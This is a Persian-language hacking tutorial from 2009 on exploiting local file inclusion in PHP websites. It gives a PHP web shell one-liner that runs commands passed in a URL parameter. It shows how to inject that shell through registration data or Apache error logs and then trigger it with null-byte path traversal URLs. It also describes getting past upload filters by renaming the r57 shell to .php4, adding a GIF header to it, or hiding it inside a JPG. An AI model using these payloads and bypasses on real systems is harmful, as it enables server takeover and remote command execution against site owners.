به نام خدا

Load File Inclusion

2009/08/05

نویسنده : سعید بستان دوست

www.ipsecure.ir

mr.cback@gmail.com

1- چگونه آسیب پذیری را پیدا کنیم؟

این گونه باگ ها رو اقلب در جاهایی پیدا می کنید که شما اونجا رجیستر می کنید ولی اطلاعات شما در دیتابیس ذخیره نمیشه و در یک فایل روی سرور نشانده میشه

مثال :

http://example.com/register/username

الان جای ذخیره اطلاعات این پوشه هست و آسیب پذیری در فایل

http://example.com/index.php?page=/register/index

پیدا شده حال ما به صفحه عضویت میروم و به جای اطلاعات خواسته شده از ما یک کد مخرب وارد میکنیم که یک نمونه رو من ذکر میکنم

```
<?php if(!empty($_GET['com'])){echo '<pre>';passthru($_GET['com']);echo '</pre>'; exit} ?>
```

حال شما که این رو تزریق کردید میتونید از لینک زیر command **اجرا کنید**

http://example.com/index.php?page=/register/username%00&com=[commnad]

ولی یه شرطی داره که function **که استفاده شده دیسیبل نباشه که اینجا من از** passthru **استفاده کردم رو** 70٪ **جواب میده**

2- چگونگی اجرا یا آپلود shell بر روی سرور

در فیلم های من که شاید دیده باشید شاید هم ندیده باشید از چندین راه استفاده کردم

1- در بعضی از سایت ها مثل آپلودر php-nuke بعضی از فایل ها چون .php – .exe – .html و...
Denied شدن و ما اجازه آپلود رو نداریم حالا با یه کلک ساده میشه دورش زد

مثال : فرض کنید شلر ما r57.php هست و در ساین .php قابل آپلود نیست تا حالا فکر کردید که اگه به جای .php از .php4 استفاده کنید چی میشه؟؟؟

خوب معلومه دیگه شلر به راحتی آپلود میشه و دیگه .....

2- راه بعدی که هست استفاده از باگ موجود در GIF. هست

مثال: سایت هایی هستند که upload center هستند بعضی از این سایت ها کاری به پسوند فایل شما ندارن و سورس عکس رو میخونن شما میتونید اینا رو دور بزنید

برای این کار r57.php رو باز کنید و کد زیر رو اولش بدید

GIF89aP;

حالا آپلود کنید و از شل لذت ببرید

3- استفاده از باگ موجود در .JPG

در این روش ما بدون تغییر پسوند فایل .JPG شلر رو به اون تزریق میکنیم

من برنامه مورد نیاز رو گذاشتم

کافیه برنامه رو باز کنید و شلر رو بریزید توش بعد عکس رو هم بکشید و بندازید داخلش و .....

حالا برید آپلود کنید و حالشو ببرید

3- تزریق فایل از طریق LOG ها

باز هم کد قبل رو در نظر بگیرید

```
<?php if(!empty($_GET['com'])){echo '<pre>';passthru($_GET['com']);echo '</pre>'; exit} ?>
```

شما باید این کد رو در جایی از سایت وارد کنید که در LOG ها ذخیره شه

ولی یه مشکل هست که LOG فایل کارکتر هایی چون ?!/. رو دیک میکنه و اجازه کار با کد مخرب رو به ما نمیده برنامه های مختلفی هست که من هم گذاشتم که میاد این کد هارو وارد میکنه و میشه از آسیب پذیری استفاده کرد

مثال : فرض کنید آسیب پذیری در http://example.com/home.php?page= **پیدا شده و ما از قبل کد مخرب رو LOG کردیم**

مسیر LOG فایل ما ../apache/log/error **هست**

دیگر مسیر های log فایل رو هم گذاشتم

حالا میبایم و یکم شیرین کاری به خرج میدیم و کاری که اول گفتم رو انجام میدیم

http://example.com/home.php?page=../apache/log/error%00&com=[commnad]

این نوع حملات به Log Code Injection معروفند

موفق باشید